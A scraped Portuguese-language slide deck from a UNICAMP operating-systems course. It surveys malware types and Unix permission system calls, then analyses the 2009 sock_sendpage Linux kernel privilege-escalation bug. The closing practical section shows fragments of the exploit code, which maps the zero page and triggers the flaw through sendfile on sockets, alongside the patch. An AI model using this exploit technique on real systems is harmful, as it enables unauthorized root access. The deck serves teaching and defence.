View
2.398
Download
6
Category
Preview:
Citation preview
Ataques e Vulnerabilidades
Prof. Islene Calciolari Garcia1° semestre de 2010
MC 514Sistemas Operacionais: Teoria e Prática
Introdução
Formas de ataque
Aprofundamento
SO: Defesa e Proteção
Prática: O Bug de 8 Anos
Índice
Universidade Estadual de Campinas - Instituto de Computação - MC 514
Introdução
Formas de ataque
Aprofundamento
SO: Defesa e Proteção
Prática: O Bug de 8 Anos
Índice
Universidade Estadual de Campinas - Instituto de Computação - MC 514
• O que são vírus
• Princípios básicos
• Modus Operandi– Vírus de disco– Vírus de arquivo– Vírus Mult-partite
• Autodefesa
Introdução
Universidade Estadual de Campinas - Instituto de Computação - MC 514
• Ataques e vulnerabilidades– Conceito– Origens de vulnerabilidades– Motivos dos ataques– Tipos de ataques
• Acesso físico• Intercepção de comunicações• Recusas de serviço• Intrusões• Engenharia Social• Alçapões
Introdução
Universidade Estadual de Campinas - Instituto de Computação - MC 514
Formas de ataque
Aprofundamento
SO: Defesa e Proteção
Prática: O Bug de 8 Anos
Introdução
Índice
Universidade Estadual de Campinas - Instituto de Computação - MC 514
• Spywares• Adwares• Ransomwares• Worms• Trojans• Hijackers• Keylogger• Rootkits
Formas de Ataque
Universidade Estadual de Campinas - Instituto de Computação - MC 514
• Recolhem informações e transmite informação.
• Não costumam se alto duplicar. • Muitos vírus transportam
spywares visando roubar certos dados confidenciais.
Formas de Ataque
Universidade Estadual de Campinas - Instituto de Computação - MC 514
Spywares
• Costuma-se incluir os adwares no estudo dos spywares
• Trazem para a tela do usuário algum tipo de propaganda.
• Vem embutidos em diversos programas de download livre.
Formas de Ataque
Universidade Estadual de Campinas - Instituto de Computação - MC 514
Adwares
• Criptografam todo ou parte do conteúdo do disco rígido.
• Exigem da vítima, um pagamento pelo "resgate" dos dados.
• São ferramentas para crimes de extorsão e são extremamente ilegais.
Formas de Ataque
Universidade Estadual de Campinas - Instituto de Computação - MC 514
Ransomwares
• Programa auto-replicante.
• Usa a rede para enviar cópias de si mesmo para outros, sem nenhuma intervenção do usuário.
• Não é necessário anexá-lo em programas existentes.
Formas de Ataque
Universidade Estadual de Campinas - Instituto de Computação - MC 514
Worms
• Pretende se passar por ser aplicação benigna.
• Faz algo que o usuário não espera.
• Trojans não se replicam.
• Atacam de forma direta.
Formas de Ataque
Universidade Estadual de Campinas - Instituto de Computação - MC 514
Trojans
• Sequestram navegadores de Internet.
• Altera a página inicial do browser, exibe propagandas, instala barras de ferramentas no navegador.
• Impede acesso a determinados sites.
Formas de Ataque
Universidade Estadual de Campinas - Instituto de Computação - MC 514
Hijackers
• Ficam escondidos no sistema operacional.
• Desenvolvidos para meios ilícitos, como, por exemplo, roubo de dados pessoais.
• Capturam as teclas e podem também capturar a tela.
Formas de Ataque
Universidade Estadual de Campinas - Instituto de Computação - MC 514
Keyloggers
• Escondem processos, arquivos ou dados do sistema do Sistema Operacional.
• Ajudam intrusos a manter acesso ao sistema enquanto evita a detecção.
• Existem rootkits para vários Sistemas Operacionais.
• Freqüentemente modificam partes do Sistema Operacional ou instalam-se em drivers ou módulos do Kernel.
Formas de Ataque
Universidade Estadual de Campinas - Instituto de Computação - MC 514
Rootkits
Aprofundamento
SO: Defesa e Proteção
Prática: O Bug de 8 Anos
Introdução
Formas de ataque
Índice
Universidade Estadual de Campinas - Instituto de Computação - MC 514
Devido ao grande número de formas de ataque, optamos pela escolha de duas delas: Rootkits e Spyware, a fim de aprofundar o conhecimento, estas são descritas a seguir.
Aprofundamento
Universidade Estadual de Campinas - Instituto de Computação - MC 514
• O que são?
• Qual sua intenção?
• Diferenças na infecção– Windows– Linux/UNIX
• As três gerações
AprofundamentoRootkits
Universidade Estadual de Campinas - Instituto de Computação - MC 514
• O que são?
• Para que são projetados?
• Formas de infecção– Programa de instalação sobreposto
– Download guiado
– Adicionador de melhorias do broswer
– Mascarado como um anti-spyware
AprofundamentoSpyware
Universidade Estadual de Campinas - Instituto de Computação - MC 514
Introdução
Formas de ataque
Aprofundamento
SO: Defesa e Proteção
Prática: O Bug de 8 Anos
Índice
Universidade Estadual de Campinas - Instituto de Computação - MC 514
• Sistema de permissões
• Dificuldades oferecidas pelo GNU/Linux
• Diferença DOS/Windows vs. Linux
• Chamadas de sistema em segurança
• Execução em sistemas específicos
Defesa
Universidade Estadual de Campinas - Instituto de Computação - MC 514
• O arquivo ao ser criado recebe uma permissão determinada pelo processo que o gerou. Essa permissão pode ser de três tipos, r, w e x, respectivamente, leitura, escrita e execução. As permissões são atribuídas ao usuário, seu grupo e outros usuários, desse modo 9 bits são suficientes para representação do direito de acesso. Alguns exemplos são mostrados a seguir:
Defesa
Universidade Estadual de Campinas - Instituto de Computação - MC 514
Sistemas de permissões
Valor Binário Transcrição Significado
111000000 rwx – – – – – – Dono pode ler, escrever e executar
111111000 rwxrwx– – – Dono e Grupo podem ler, escrever e executar
110100000 rw–r– – – – – Dono pode ler e escrever, grupo poder ler
110100100 rw–r– –r– – Dono pode ler e escrever, outros poder ler
111101101 rwxr–xr–x Dono pode fazer tudo, outros ler e executar
000000000 – – – – – – – – – Ninguém possui nenhum tipo de acesso
000000111 – – – – – –rwx Somente pessoas de fora possuem acesso
As principais chamadas de sistemas utilizadas e suas características são apresentadas a seguir:
chmod (path, mode)
É a mais utilizada, ela serve para modificar o modo de proteção. Por exemplo:
s = chmod("usr/ast/newgame", 0755);
seta newgame para rwxr–xr–x, assim todos podem executa-lo, vale notar q o valor 0755 é um número em octal, que é conveniente pois os bits de proteção vem em grupos de 3.
Somente o dono do arquivo e a root podem trocar esses bits de proteção.
Defesa
Universidade Estadual de Campinas - Instituto de Computação - MC 514
Chamadas de sistemas
access(path, mode)
• Esse system call é necessário para evitar brechas de segurança, em programas que possuem o SETUID setados e cujos donos são a root. Esses programas podem executar qualquer ação, por isso, às vezes é necessário checar se o usuário está permitido a realizar o acesso. Para isso o a chamada de sistema access verifica o UID e o GID real do usuário.
Defesa
Universidade Estadual de Campinas - Instituto de Computação - MC 514
Chamadas de sistemas
getuid( )
• Retorna o valor real do UID do usuário.
geteuid( )
• Retorna o valor efetivo do UID do usuário.
getgid( )
• Retorna o valor real do GID do usuário.
getegid( )
• Retorna o valor efetivo do GID do usuário.
Defesa
Universidade Estadual de Campinas - Instituto de Computação - MC 514
Chamadas de sistemas
chown(path, owner, group)
• Só pode ser utilizado pela root, muda o UID e o GID do arquivo.
setuid(uid)
• Só pode ser utilizado pela root, muda o UID de um processo.
setgid(gid)
• Só pode ser utilzado pela root, muda o GID de um processo.
Defesa
Universidade Estadual de Campinas - Instituto de Computação - MC 514
Chamadas de sistemas
Introdução
Formas de ataque
Aprofundamento
SO: Defesa e Proteção
Prática: O Bug de 8 Anos
Índice
Universidade Estadual de Campinas - Instituto de Computação - MC 514
Acesso a privilégios locais
• Distribuições vulneráveis:– Kernel 2.4 (2.4.4 até 2.4.37.4, inclusive);– Kernel 2.6 (2.6.0 até 2.6.30.4, inclusive);– Todas as arquiteturas desde maio/2001
PráticaA vulnerabilidade
Universidade Estadual de Campinas - Instituto de Computação - MC 514
Estrutura proto_ops do socket:– Ponteiros para funções;– Problema: lidar com operações indisponíveis;
• Exemplo: sock_sendpage
• Fragilidade no código do kernel
PráticaA vulnerabilidade
Universidade Estadual de Campinas - Instituto de Computação - MC 514
Escalação de privilégio local:– Mapeamento no endereço zero;– Acionamento de operação vulnerável;
• Total controle do sistema!
PráticaComo aproveitar
Universidade Estadual de Campinas - Instituto de Computação - MC 514
Corrigir os protocolos?
• Corrigir sock_sendpage– Verifica ponteiros nulos
• Patch disponibilizado em agosto/2009– 8 anos depois...
PráticaA solução
Universidade Estadual de Campinas - Instituto de Computação - MC 514
PráticaA solução
Universidade Estadual de Campinas - Instituto de Computação - MC 514
static ssize_t sock_sendpage(struct file *file, struct page *page, int offset, size_t size, loff_t *ppos, int more)
{ struct socket *sock;
(...)
return sock->ops->sendpage(sock, page, offset, size, flags);}
int kernel_sendpage(struct socket *sock, struct page *page, int offset, size_t size, int flags){ if (sock->ops->sendpage) return sock->ops->sendpage(sock, page, offset, size, flags);
return sock_no_sendpage(sock, page, offset, size, flags);}
Teste no kernel antigo;– Fedora 11 (kernel 2.6.29.4)
• Teste no kernel com patch;– Ubuntu 9.10
PráticaSimulação
Universidade Estadual de Campinas - Instituto de Computação - MC 514
PráticaSimulação
Universidade Estadual de Campinas - Instituto de Computação - MC 514
mem = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);
if (mem != NULL) {mem = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,
MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, 0, 0); Kernel corrigido
if (mem != NULL) {fprintf(stdout, "UNABLE TO MAP ZERO PAGE!\n");return 1;
}}
fprintf(stdout, " [+] MAPPED ZERO PAGE!\n"); Kernel antigo
PráticaSimulação
Universidade Estadual de Campinas - Instituto de Computação - MC 514
char template[] = "/tmp/sendfile.XXXXXX";int in, out;
if ((in = mkstemp(template)) < 0) {fprintf(stdout, "failed to open input descriptor, %m\n");return 1;
}unlink(template);d = 0;
for (; domains[d][0] != DOMAINS_STOP; d++) {if ((out = socket(domains[d][0], domains[d][1], domains[d][2])) >= 0)
break;} if (out < 0) {
fprintf(stdout, "unable to find a vulnerable domain, sorry\n");return 1;
}
ftruncate(in, getpagesize());sendfile(out, in, NULL, getpagesize());
Teste no kernel antigo;– Fedora 11 (kernel 2.6.29.4)
• Teste no kernel com patch;– Ubuntu 9.10
PráticaSimulação
Universidade Estadual de Campinas - Instituto de Computação - MC 514
Teste no kernel antigo;– Fedora 11 (kernel 2.6.29.4)
• Teste no kernel com patch;– Ubuntu 9.10
PráticaSimulação
Universidade Estadual de Campinas - Instituto de Computação - MC 514
? Dúvidas
Universidade Estadual de Campinas - Instituto de Computação - MC 514
Obrigados
João Carlos Maggiotto R.A.: 081721
Mariana Mendes Caspirro R.A.: 082204
Murilo Fossa Vicentini R.A.: 082335
Patricia Kawaguchi Cesar R.A.: 085984
Ataques e Vulnerabilidades
Recommended